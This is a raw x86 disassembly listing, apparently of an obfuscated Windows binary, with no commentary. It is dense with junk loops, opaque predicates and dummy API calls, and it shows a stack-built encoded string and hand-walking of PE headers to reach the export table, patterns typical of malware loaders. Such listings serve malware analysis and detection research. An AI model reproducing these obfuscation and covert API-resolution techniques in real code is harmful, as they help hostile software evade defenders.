cmp dword [ebp - 0xb64], 0x2a3
jle 0x10033656
mov dword [ebp - 0xfcc], 1
jmp 0x1003365d
and dword [ebp - 0xfcc], 0
cmp dword [ebp - 0xfcc], 0xfffffffe
jl 0x10033672
mov dword [ebp - 0x18d4], 1
jmp 0x10033679
and dword [ebp - 0x18d4], 0
push 3
lea ecx, [ebp - 0x914]
call fcn.1001d90b
mov eax, dword [ebp - 0x2f8]
mov dword [ebp - 0x209c], eax
mov esi, dword [ebp - 0x2c8]
push 3
lea ecx, [ebp - 0x914]
call fcn.1001d90b
cmp esi, dword [eax]
jne 0x100336b5
mov dword [ebp - 0x156c], 1
jmp 0x100336bc
and dword [ebp - 0x156c], 0
push 3
lea ecx, [ebp - 0x914]
call fcn.1001d90b
cmp dword [ebp - 0x70], 0xa191
jle 0x100336de
mov dword [ebp - 0xb6c], 1
jmp 0x100336e5
and dword [ebp - 0xb6c], 0
push 1
lea ecx, [ebp - 0x914]
call fcn.1001d90b
mov ecx, dword [ebp - 0xb6c]
cmp ecx, dword [eax]
jg 0x10033717
mov dword [ebp - 0x1a5c], 1
mov eax, dword [ebp - 0x1a5c]
mov dword [ebp - 0x258], eax
jmp 0x100338da
mov dword [ebp - 0x82c], 0xfffffffc
mov dword [ebp - 0x70c], 0x33db
push 1
lea ecx, [ebp - 0x1b30]
call fcn.1001d86d
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x48c], 0
jmp 0x10033755
mov eax, dword [ebp - 0x48c]
inc eax
mov dword [ebp - 0x48c], eax
cmp dword [ebp - 0x48c], 1
jge 0x10033777
push dword [ebp - 0x48c]
lea ecx, [ebp - 0x1b30]
call fcn.1001d90b
mov dword [eax], 0xf9e84ebf
jmp 0x10033748
mov eax, dword [ebp - 0x82c]
mov dword [ebp - 0x1eb8], eax
imul eax, dword [ebp - 0x70c], 0xcfb6
mov dword [ebp - 0x1354], eax
push 0
lea ecx, [ebp - 0x1b30]
call fcn.1001d90b
mov ecx, dword [ebp - 0x1354]
mov dword [eax], ecx
cmp dword [ebp - 0x1354], 0
jle 0x100337be
push 2
lea ecx, [ebp - 0x914]
call fcn.1001d90b
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x2038], eax
push 0
lea ecx, [ebp - 0x1b30]
call fcn.1001d90b
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x1ec0], eax
mov eax, dword [ebp - 0x2c8]
imul eax, dword [ebp - 0x2c8]
cmp eax, 0xefecf47a
jae 0x10033809
cmp dword [ebp - 0x82c], 0
je 0x10033809
mov dword [ebp - 0xb74], 1
jmp 0x10033810
and dword [ebp - 0xb74], 0
imul eax, dword [ebp - 0xb74], 0x97b9
test eax, eax
jne 0x1003382b
push 2
lea ecx, [ebp - 0x914]
call fcn.1001d90b
mov eax, dword [ebp - 0x82c]
cmp dword [ebp - 0x8a4], eax
jg 0x10033845
mov dword [ebp - 0xfd4], 1
jmp 0x1003384c
and dword [ebp - 0xfd4], 0
mov eax, dword [ebp - 0x2c8]
cmp dword [ebp - 0xfd4], eax
jg 0x10033866
mov dword [ebp - 0xb7c], 1
jmp 0x1003386d
and dword [ebp - 0xb7c], 0
mov eax, dword [ebp - 0x70c]
add eax, dword [ebp - 0xb7c]
cmp eax, 0xffffffff
je 0x1003388a
mov dword [ebp - 0x1204], 1
jmp 0x10033891
and dword [ebp - 0x1204], 0
cmp dword [ebp - 0x1204], 5
jbe 0x100338b5
mov eax, 0x2d9b6ef5
test eax, eax
jne 0x100338b5
cmp dword [ebp - 0x70c], 0
jne 0x100338b5
and dword [ebp - 0xb84], 0
jmp 0x100338bf
mov dword [ebp - 0xb84], 1
mov eax, dword [ebp - 0xb84]
mov dword [ebp - 0x1574], eax
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x1b30]
call fcn.1001d8ef
jmp 0x1003355d
mov dword [ebp - 0xb9c], 0x71b5
mov dword [ebp - 0x1af8], 0x1000a5f4
cmp dword [ebp - 0xb9c], 0x73e0
jle 0x100339db
and dword [ebp - 0x494], 0
jmp 0x10033919
mov eax, dword [ebp - 0x494]
inc eax
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0x11dd
jge 0x100339db
and dword [ebp - 0x63c], 0
jmp 0x1003393f
mov eax, dword [ebp - 0x63c]
inc eax
mov dword [ebp - 0x63c], eax
cmp dword [ebp - 0x63c], 0xb0
jge 0x100339d6
and dword [ebp - 0x49c], 0
jmp 0x10033965
mov eax, dword [ebp - 0x49c]
inc eax
mov dword [ebp - 0x49c], eax
cmp dword [ebp - 0x49c], 0x3623
jge 0x100339d1
mov eax, dword [ebp - 0x494]
cdq
idiv dword [ebp - 0x63c]
add edx, dword [ebp - 0x49c]
mov eax, edx
cdq
mov dword [ebp - 0x16d8], eax
mov dword [ebp - 0x16d4], edx
push dword [ebp - 0x16d4]
push dword [ebp - 0x16d8]
lea ecx, [ebp - 0x2358]
call fcn.1001072e
pop ecx
pop ecx
mov dword [ebp - 0x18e0], eax
mov ecx, dword [ebp - 0x18e0]
call fcn.1001d53e
push eax
call fcn.10067b63
pop ecx
lea ecx, [ebp - 0x2358]
call fcn.1001d534
jmp 0x10033958
jmp 0x10033932
jmp 0x1003390c
mov eax, dword [ebp - 0x2f8]
mov dword [ebp - 0x1f5c], eax
push 3
lea ecx, [ebp - 0x914]
call fcn.1001d90b
cmp dword [ebp - 0x70], 0
jne 0x10033a15
push 3
lea ecx, [ebp - 0x914]
call fcn.1001d90b
cmp dword [eax], 0
jne 0x10033a15
and dword [ebp - 0xfdc], 0
jmp 0x10033a1f
mov dword [ebp - 0xfdc], 1
mov eax, dword [ebp - 0xfdc]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x1ec8], eax
mov eax, dword [ebp - 0x2f8]
mov dword [ebp - 0x1f64], eax
mov eax, dword [ebp - 0x157c]
mov dword [ebp - 0x1ed0], eax
cmp dword [ebp - 0x2f8], 0xafb1
jge 0x10033a61
mov dword [ebp - 0xb8c], 1
jmp 0x10033a68
and dword [ebp - 0xb8c], 0
mov esi, dword [ebp - 0x834]
imul esi, dword [ebp - 0xb8c]
push 3
lea ecx, [ebp - 0x914]
call fcn.1001d90b
imul esi, dword [eax]
cmp esi, dword [ebp - 0x834]
jne 0x10033a99
mov dword [ebp - 0x131c], 1
jmp 0x10033aa0
and dword [ebp - 0x131c], 0
cmp dword [ebp - 0x834], 0xf04c
jne 0x10033ab8
mov dword [ebp - 0xb94], 1
jmp 0x10033abf
and dword [ebp - 0xb94], 0
mov eax, dword [ebp - 0x258]
mov ecx, dword [ebp - 0xb94]
lea eax, [ecx + eax - 0x2dcfcb67]
cmp eax, 0x93d0ae44
jne 0x10033ae5
mov dword [ebp - 0xfe4], 1
jmp 0x10033aec
and dword [ebp - 0xfe4], 0
mov eax, dword [ebp - 0xfe4]
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0xb9c], 0x6eea
jge 0x10033b10
push dword [ebp - 0x1af8]
call fcn.10067b63
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x914]
call fcn.1001d8ef
cmp dword [ebp - 0x120c], 0x6d43
jge 0x10033b37
push dword [ebp - 0x1584]
call fcn.10067b63
pop ecx
mov dword [ebp - 0x1f6c], 0xffffffff
mov byte [ebp - 0x220], 0
movzx eax, byte [ebp - 0x220]
test eax, eax
je 0x10033b5d
push 0
push 0
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
mov byte [ebp - 0x189], 0
movzx eax, byte [ebp - 0x189]
test eax, eax
je 0x10033b81
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
mov dword [ebp - 0x2d0], 9
push 2
lea ecx, [ebp - 0x1a08]
call fcn.1001d86d
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x844], 0xbdbdf7cd
mov dword [ebp - 0x135c], 4
mov dword [ebp - 0x1594], 0
mov dword [ebp - 0x7ac], 0
jmp 0x10033bd6
mov eax, dword [ebp - 0x7ac]
inc eax
mov dword [ebp - 0x7ac], eax
cmp dword [ebp - 0x7ac], 2
jge 0x10033bf8
push dword [ebp - 0x7ac]
lea ecx, [ebp - 0x1a08]
call fcn.1001d90b
mov dword [eax], 0x6432a276
jmp 0x10033bc9
mov dword [ebp - 0x2d0], 0
jmp 0x10033c11
cmp dword [ebp - 0x2d0], 0xffffffe5
jg 0x10033fe5
mov dword [ebp - 0x288], 0xffffffff
mov dword [ebp - 0x1a64], 0x534de6f8
mov dword [ebp - 0x83c], 0x7528ace4
mov dword [ebp - 0x1ed8], 0x100825f8
mov dword [ebp - 0x1bd8], 0xef51ae9a
mov dword [ebp - 0x1bd4], 0xef51ae9a
mov dword [ebp - 0x1bd0], 0xef51ae9a
mov dword [ebp - 0x1bcc], 0xef51ae9a
lea ecx, [ebp - 0x8ed]
call fcn.1001d91a
push eax
lea eax, [ebp - 0x1bc8]
push eax
lea eax, [ebp - 0x1bd8]
push eax
lea ecx, [ebp - 0x2200]
call fcn.1001d91d
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1cc0]
call fcn.1001d8c9
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x8e0], 0xfffffffd
mov dword [ebp - 0x4a4], 0
jmp 0x10033cca
mov eax, dword [ebp - 0x4a4]
inc eax
mov dword [ebp - 0x4a4], eax
cmp dword [ebp - 0x4a4], 2
jge 0x10033ce6
mov eax, dword [ebp - 0x4a4]
mov dword [ebp + eax*4 - 0x2218], 0
jmp 0x10033cbd
mov dword [ebp - 0x288], 1
jmp 0x10033cff
cmp dword [ebp - 0x288], 0
jl 0x10033fb7
mov dword [ebp - 0x12c], 0
jmp 0x10033d25
cmp dword [ebp - 0x844], 0
je 0x10033fd1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1a08]
call fcn.1001d8ef
mov byte [ebp - 0x354], 2
mov byte [ebp - 0x353], 0xd
mov byte [ebp - 0x352], 4
mov byte [ebp - 0x351], 0x11
mov byte [ebp - 0x350], 0xb
mov byte [ebp - 0x34f], 7
mov byte [ebp - 0x34e], 1
mov byte [ebp - 0x34d], 1
mov byte [ebp - 0x34c], 9
mov byte [ebp - 0x34b], 0x11
mov byte [ebp - 0x34a], 5
mov byte [ebp - 0x349], 6
mov byte [ebp - 0x348], 6
mov byte [ebp - 0x347], 0x35
mov byte [ebp - 0x346], 3
mov byte [ebp - 0x345], 0x31
mov byte [ebp - 0x344], 8
mov byte [ebp - 0x343], 0xe
mov byte [ebp - 0x342], 0
mov byte [ebp - 0x341], 0x2c
mov byte [ebp - 0x340], 0xd
mov byte [ebp - 0x33f], 0x14
mov byte [ebp - 0x33e], 7
mov byte [ebp - 0x33d], 0x25
mov byte [ebp - 0x33c], 0xa
mov byte [ebp - 0x33b], 0x17
mov byte [ebp - 0x33a], 0xc
mov byte [ebp - 0x339], 0x16
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x354]
or eax, 0x68
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x354]
and ecx, 0x68
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x354]
mov byte [ebp + ecx - 0x150c], al
mov dword [ebp - 0xf4], 1
mov dword [ebp - 0x644], 0
jmp 0x10034114
mov eax, dword [ebp - 0x644]
inc eax
mov dword [ebp - 0x644], eax
cmp dword [ebp - 0x644], 4
jge 0x10034130
mov eax, dword [ebp - 0x644]
mov dword [ebp + eax*4 - 0x2130], 0x82062403
jmp 0x10034107
mov dword [ebp - 0xffc], 0x60a5
mov dword [ebp - 0x159c], 0x1000a638
cmp dword [ebp - 0xffc], 0x618e
jle 0x10034202
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DrawFrameControl]
and dword [ebp - 0x4ac], 0
jmp 0x10034178
cmp dword [ebp - 0x4ac], 0x7da9
jge 0x10034202
mov dword [ebp - 0xf4], 0
jmp 0x1003421b
cmp dword [ebp - 0xf4], 3
jg 0x10034238
push 1
lea ecx, [ebp - 0x920]
call fcn.1001d86d
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x121c], 9
mov dword [ebp - 0x11c], 0
jmp 0x10034913
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 1
jge 0x10034935
push dword [ebp - 0x11c]
lea ecx, [ebp - 0x920]
call fcn.1001d90b
mov dword [eax], 0xa07e4fc2
jmp 0x10034906
mov dword [ebp - 0x11c], 0
jmp 0x1003494e
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 3
jge 0x1003496a
mov eax, dword [ebp - 0x11c]
mov dword [ebp + eax*4 - 0x2148], 0xd1cb6a7f
jmp 0x10034941
push 0
lea ecx, [ebp - 0x920]
call fcn.1001d90b
mov eax, dword [eax]
mov dword [ebp - 0x121c], eax
mov esi, dword [ebp - 0x121c]
push 0
lea ecx, [ebp - 0x920]
call fcn.1001d90b
cmp esi, dword [eax]
jle 0x100349a2
mov dword [ebp - 0xbec], 1
jmp 0x100349a9
and dword [ebp - 0xbec], 0
push 0
lea ecx, [ebp - 0x920]
call fcn.1001d90b
mov ecx, 0x7d8cf4c5
sub ecx, dword [eax]
je 0x10034a25
push 0
lea ecx, [ebp - 0x920]
call fcn.1001d90b
mov esi, eax
push 0
lea ecx, [ebp - 0x920]
call fcn.1001d90b
mov ecx, dword [esi]
cmp ecx, dword [eax]
jl 0x100349ef
xor eax, eax
inc eax
jne 0x100349ef
and dword [ebp - 0xbe4], 0
jmp 0x100349f9
mov dword [ebp - 0xbe4], 1
cmp dword [ebp - 0xbe4], 0xfffd
jb 0x10034a11
mov dword [ebp - 0x100c], 1
jmp 0x10034a18
and dword [ebp - 0x100c], 0
push 0
lea ecx, [ebp - 0x920]
call fcn.1001d90b
push 0
lea ecx, [ebp - 0x920]
call fcn.1001d90b
mov ecx, dword [ebp - 0xbec]
cmp ecx, dword [eax]
jl 0x10034a48
mov dword [ebp - 0x1328], 1
jmp 0x10034a4f
and dword [ebp - 0x1328], 0
cmp dword [ebp - 0x1328], 1
jne 0x10034a64
mov dword [ebp - 0xbf4], 1
jmp 0x10034a6b
and dword [ebp - 0xbf4], 0
push 0
lea ecx, [ebp - 0x920]
call fcn.1001d90b
mov ecx, dword [ebp - 0xbf4]
cmp ecx, dword [eax]
jge 0x10034a8e
mov dword [ebp - 0x1014], 1
jmp 0x10034a95
and dword [ebp - 0x1014], 0
cmp dword [ebp - 0x1014], 0x4a11600d
jge 0x10034ab1
push 0xfffffffffffffff9
pop eax
test eax, eax
jne 0x10034ab1
and dword [ebp - 0xbfc], 0
jmp 0x10034abb
mov dword [ebp - 0xbfc], 1
cmp dword [ebp - 0xbfc], 0xb4709ba8
je 0x10034ad3
mov dword [ebp - 0x1224], 1
jmp 0x10034ada
and dword [ebp - 0x1224], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x1224]
mov dword [ebp + eax - 0x2148], ecx
mov byte [ebp - 0x1a1], 0
movzx eax, byte [ebp - 0x1a1]
test eax, eax
je 0x10034b10
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x920]
call fcn.1001d8ef
mov eax, dword [section.ycflqf]
cmp eax, dword [ebp - 0x4a0]
je 0x10034b39
mov eax, dword [0x10088064]
cmp eax, dword [ebp - 0x4a0]
jne 0x10034b51
mov ecx, dword [ebp + 0xc]
call fcn.1001d53e
push eax
push dword [ebp + 8]
call fcn.1002b34e
pop ecx
pop ecx
jmp 0x100401e7
mov eax, dword [ebp + 8]
mov dword [ebp - 0x4e4], eax
cmp dword [ebp - 0x4e4], 0
je 0x1003fd47
mov eax, dword [ebp - 0x4e4]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x1003fd47
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [ebp - 0x4e4]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x2e8], ecx
mov dword [ebp - 0x1f84], 0x1124
mov dword [ebp - 0x1ef0], 0xfffffffa
mov dword [ebp - 0x1910], 0x3df603fa
mov dword [ebp - 0x15cc], 0
mov dword [ebp - 0x1f8c], 0xf4672159
mov dword [ebp - 0xc04], 0xab5
mov dword [ebp - 0x1a6c], 0x1000a6f4
cmp dword [ebp - 0xc04], 0xcc0
jle 0x10034c9b
and dword [ebp - 0x664], 0
jmp 0x10034bfc
mov eax, dword [ebp - 0x664]
inc eax
mov dword [ebp - 0x664], eax
cmp dword [ebp - 0x664], 0x149e
jge 0x10034c8f
and dword [ebp - 0x4ec], 0
jmp 0x10034c22
mov eax, dword [ebp - 0x4ec]
inc eax
mov dword [ebp - 0x4ec], eax
cmp dword [ebp - 0x4ec], 0x73d1
jge 0x10034c8a
and dword [ebp - 0x724], 0
jmp 0x10034c44
mov eax, dword [ebp - 0x724]
inc eax
mov dword [ebp - 0x724], eax
cmp dword [ebp - 0x724], 0x2ed3
jge 0x10034c88
mov eax, dword [ebp - 0x664]
imul eax, dword [ebp - 0x4ec]
xor eax, dword [ebp - 0x724]
cdq
mov dword [ebp - 0x1708], eax
mov dword [ebp - 0x1704], edx
push dword [ebp - 0x1704]
push dword [ebp - 0x1708]
mov ecx, 0x10082bb8
call fcn.1001d55e
jmp 0x10034c37
jmp 0x10034c15
jmp 0x10034bef
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DeleteMenu]
mov dword [ebp - 0x1ef8], 7
cmp dword [ebp - 0xc04], 0x943
jge 0x10034cc1
mov edx, dword [ebp - 0x1a6c]
mov ecx, 0x10082bb8
call fcn.100202a3
mov dword [ebp - 0x1f94], 0x9c9fb37b
mov dword [ebp - 0x1f00], 0xd1a4e665
mov dword [ebp - 0x66c], 0xa4d3ec93
mov dword [ebp - 0x101c], 1
mov dword [ebp - 0xc0c], 0xba5fc02
mov dword [ebp - 0x1428], 0xf7ff
mov dword [ebp - 0x15bc], 0xfffffff8
mov dword [ebp - 0x15c4], 3
mov dword [ebp - 0x4f4], 0
jmp 0x10034d2a
mov eax, dword [ebp - 0x4f4]
inc eax
mov dword [ebp - 0x4f4], eax
cmp dword [ebp - 0x4f4], 3
jge 0x10034d46
mov eax, dword [ebp - 0x4f4]
mov dword [ebp + eax*4 - 0x252c], 0x2c25fcc5
jmp 0x10034d1d
mov eax, dword [ebp - 0x101c]
inc eax
mov dword [ebp - 0x101c], eax
mov dword [ebp - 0x66c], 0
jmp 0x10034d6c
mov eax, dword [ebp - 0x66c]
dec eax
mov dword [ebp - 0x66c], eax
cmp dword [ebp - 0x66c], 0xfffffff8
jne 0x10034fa3
mov dword [ebp - 0x1f9c], 0xffffffff
mov dword [ebp - 0x1f08], 0xfffffff6
mov dword [ebp - 0x1fa4], 9
mov dword [ebp - 0x1f10], 0xd5d64f68
mov dword [ebp - 0x1d44], 1
mov dword [ebp - 0x15b4], 0x74d4b4b2
mov dword [ebp - 0x1ae8], 0xffffffff
mov dword [ebp - 0x1d4c], 0xb1e5de2c
mov dword [ebp - 0x1024], 0xdda4adcf
mov eax, dword [ebp - 0xc0c]
dec eax
mov dword [ebp - 0xc0c], eax
mov dword [ebp - 0xc2c], 0x1879
mov dword [ebp - 0x1a74], 0x1000a710
cmp dword [ebp - 0xc2c], 0x1c08
jle 0x10034e8b
and dword [ebp - 0x4fc], 0
jmp 0x10034e1a
mov eax, dword [ebp - 0x4fc]
inc eax
mov dword [ebp - 0x4fc], eax
cmp dword [ebp - 0x4fc], 0xd35
jge 0x10034e7b
and dword [ebp - 0x784], 0
jmp 0x10034e3c
mov eax, dword [ebp - 0x784]
inc eax
mov dword [ebp - 0x784], eax
cmp dword [ebp - 0x784], 0x6093
jge 0x10034e79
mov eax, dword [ebp - 0x4fc]
and eax, dword [ebp - 0x784]
cdq
mov dword [ebp - 0x1714], eax
mov dword [ebp - 0x1710], edx
push dword [ebp - 0x1710]
push dword [ebp - 0x1714]
mov ecx, 0x10082bb8
call fcn.1001d55e
jmp 0x10034e2f
jmp 0x10034e0d
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DrawTextW]
mov dword [ebp - 0x1428], 0x24c6
mov eax, dword [ebp - 0x1428]
sub eax, dword [ebp - 0x15b4]
jne 0x10034f01
cmp dword [ebp - 0x1910], 0
je 0x10034ebd
xor eax, eax
inc eax
je 0x10034ebd
mov dword [ebp - 0xc14], 1
jmp 0x10034ec4
and dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0xc14]
mov dword [ebp - 0x1024], eax
cmp dword [ebp - 0x1024], 0
jne 0x10034ee5
mov dword [ebp - 0xc1c], 1
jmp 0x10034eec
and dword [ebp - 0xc1c], 0
cmp dword [ebp - 0xc1c], 0xb5a40a7b
je 0x10034f01
and dword [ebp - 0x122c], 0
jmp 0x10034f0b
mov dword [ebp - 0x122c], 1
mov eax, dword [ebp - 0x15bc]
imul eax, dword [ebp - 0x122c]
test eax, eax
jne 0x10034f2c
push 6
pop eax
test eax, eax
jne 0x10034f2c
and dword [ebp - 0xc24], 0
jmp 0x10034f36
mov dword [ebp - 0xc24], 1
mov eax, dword [ebp - 0x1ae8]
cmp dword [ebp - 0xc24], eax
je 0x10034f50
mov dword [ebp - 0x102c], 1
jmp 0x10034f57
and dword [ebp - 0x102c], 0
mov eax, dword [ebp - 0x15c4]
cmp dword [ebp - 0x102c], eax
jg 0x10034f71
mov dword [ebp - 0x191c], 1
jmp 0x10034f78
and dword [ebp - 0x191c], 0
mov dword [ebp - 0x15cc], 0x6047311e
cmp dword [ebp - 0xc2c], 0x1699
jge 0x10034f9e
mov edx, dword [ebp - 0x1a74]
mov ecx, 0x10082bb8
call fcn.100202a3
jmp 0x10034d5f
mov eax, dword [ebp - 0x2e8]
cmp dword [eax], 0x4550
jne 0x1003fd47
mov eax, dword [ebp - 0x2e8]
cmp dword [eax + 0x74], 0
jbe 0x1003fd47
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2e8]
cmp dword [ecx + eax + 0x78], 0
je 0x1003fd47
mov eax, dword [ebp + 8]
mov dword [ebp - 0x244], eax
mov dword [ebp - 0x9c], 0xac204e2d
mov dword [ebp - 0x260], 0xb56cef3
mov dword [ebp - 0xfc], 0
jmp 0x10035012
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 1
jge 0x1003502e
mov eax, dword [ebp - 0xfc]
mov dword [ebp + eax*4 - 0x1034], 0xfffffffb
jmp 0x10035005
mov dword [ebp - 0xfc], 0
jmp 0x10035047
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 3
jge 0x10035063
mov eax, dword [ebp - 0xfc]
mov dword [ebp + eax*4 - 0x2154], 0xe834ab4
jmp 0x1003503a
mov dword [ebp - 0x9c], 0x13
jmp 0x1003507c
mov eax, dword [ebp - 0x9c]
dec eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0xfffffffa
jle 0x100353cd
push 4
lea ecx, [ebp - 0x1b48]
call fcn.1001d86d
mov dword [ebp - 4], 0x15
mov dword [ebp - 0x1330], 0x6a5d
mov dword [ebp - 0x15d4], 0x1000a72c
cmp dword [ebp - 0x1330], 0x6e39
jle 0x10035173
push 0
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
and dword [ebp - 0x50c], 0
jmp 0x100350df
mov eax, dword [ebp - 0x50c]
inc eax
mov dword [ebp - 0x50c], eax
cmp dword [ebp - 0x50c], 0x3a91
jge 0x10035173
and dword [ebp - 0x504], 0
jmp 0x10035105
mov eax, dword [ebp - 0x504]
inc eax
mov dword [ebp - 0x504], eax
cmp dword [ebp - 0x504], 0x1a3c
jge 0x1003516e
and dword [ebp - 0x674], 0
jmp 0x10035127
mov eax, dword [ebp - 0x674]
inc eax
mov dword [ebp - 0x674], eax
cmp dword [ebp - 0x674], 0x2a03
jge 0x1003516c
mov ecx, dword [ebp - 0x504]
add ecx, dword [ebp - 0x674]
mov eax, dword [ebp - 0x50c]
shl eax, cl
cdq
mov dword [ebp - 0x1720], eax
mov dword [ebp - 0x171c], edx
push dword [ebp - 0x171c]
push dword [ebp - 0x1720]
mov ecx, 0x10082bb8
call fcn.1001d55e
jmp 0x1003511a
jmp 0x100350f8
jmp 0x100350d2
cmp dword [ebp - 0x1330], 0x6943
jge 0x1003518f
mov edx, dword [ebp - 0x15d4]
mov ecx, 0x10082bb8
call fcn.100202a3
mov dword [ebp - 0x13c], 0
jmp 0x100351a8
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 2
jge 0x100351c4
mov eax, dword [ebp - 0x13c]
mov dword [ebp + eax*4 - 0x172c], 0xfffffff8
jmp 0x1003519b
mov dword [ebp - 0x13c], 0
jmp 0x100351dd
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 4
jge 0x100351ff
push dword [ebp - 0x13c]
lea ecx, [ebp - 0x1b48]
call fcn.1001d90b
mov dword [eax], 0x53e3f36a
jmp 0x100351d0
xor eax, eax
jne 0x1003532d
cmp dword [ebp - 0x9c], 0x9986
jge 0x1003521f
mov dword [ebp - 0xc34], 1
jmp 0x10035226
and dword [ebp - 0xc34], 0
mov eax, dword [ebp - 0x9c]
cmp eax, dword [ebp - 0xc34]
jne 0x10035240
mov dword [ebp - 0x84c], 1
jmp 0x10035247
and dword [ebp - 0x84c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x84c]
mov dword [ebp + eax - 0x1034], ecx
cmp dword [ebp - 0x84c], 0
je 0x1003527f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1034], 0
je 0x1003527f
mov dword [ebp - 0xc3c], 1
jmp 0x10035286
and dword [ebp - 0xc3c], 0
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0xc3c], eax
jg 0x100352a0
mov dword [ebp - 0x1234], 1
jmp 0x100352a7
and dword [ebp - 0x1234], 0
mov eax, dword [ebp - 0x1234]
dec eax
cmp eax, 0x7643
jge 0x100352c1
mov dword [ebp - 0xc44], 1
jmp 0x100352c8
and dword [ebp - 0xc44], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x172c]
cmp dword [ebp - 0xc44], eax
jle 0x100352e9
mov dword [ebp - 0x1924], 1
jmp 0x100352f0
and dword [ebp - 0x1924], 0
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x1d54], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x172c]
mov dword [ebp - 0x1d5c], eax
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 0
jne 0x1003532d
and dword [ebp - 0x103c], 0
jmp 0x10035337
mov dword [ebp - 0x103c], 1
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x103c], eax
jge 0x10035351
mov dword [ebp - 0xc4c], 1
jmp 0x10035358
and dword [ebp - 0xc4c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x172c]
cmp dword [ebp - 0xc4c], eax
jl 0x10035379
mov dword [ebp - 0x1390], 1
jmp 0x10035380
and dword [ebp - 0x1390], 0
push 3
lea ecx, [ebp - 0x1b48]
call fcn.1001d90b
mov ecx, dword [ebp - 0x1390]
mov dword [eax], ecx
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2154], 0
je 0x100353b9
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1b48]
call fcn.1001d8ef
jmp 0x1003506f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1b48]
call fcn.1001d8ef
jmp 0x1003506f
mov dword [ebp - 0x260], 0
jmp 0x100353e6
mov eax, dword [ebp - 0x260]
dec eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 0
jl 0x1003540b
mov byte [ebp - 0x228], 0
movzx eax, byte [ebp - 0x228]
test eax, eax
je 0x10035409
push 0
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
jmp 0x100353d9
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2e8]
mov edx, dword [ebp - 0x244]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x15c], edx
mov dword [ebp - 0x40], 0xa4f833fc
mov dword [ebp - 0x14fc], 0
mov dword [ebp - 0x14f8], 0
mov dword [ebp - 0x14f4], 0
mov dword [ebp - 0x14f0], 0
mov dword [ebp - 0x310], 0xffffffff
mov dword [ebp - 0x104], 0
jmp 0x10035479
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 3
jge 0x10035495
mov eax, dword [ebp - 0x104]
mov dword [ebp + eax*4 - 0x216c], 0xfffffffe
jmp 0x1003546c
mov dword [ebp - 0x104], 0
jmp 0x100354ae
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 1
jge 0x100354ca
mov eax, dword [ebp - 0x104]
mov dword [ebp + eax*4 - 0x8b4], 0xffff
jmp 0x100354a1
mov dword [ebp - 0x40], 0
jmp 0x100354da
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jg 0x10035880
mov dword [ebp - 0xc54], 0x5dff
mov dword [ebp - 0x1abc], 0x1000a748
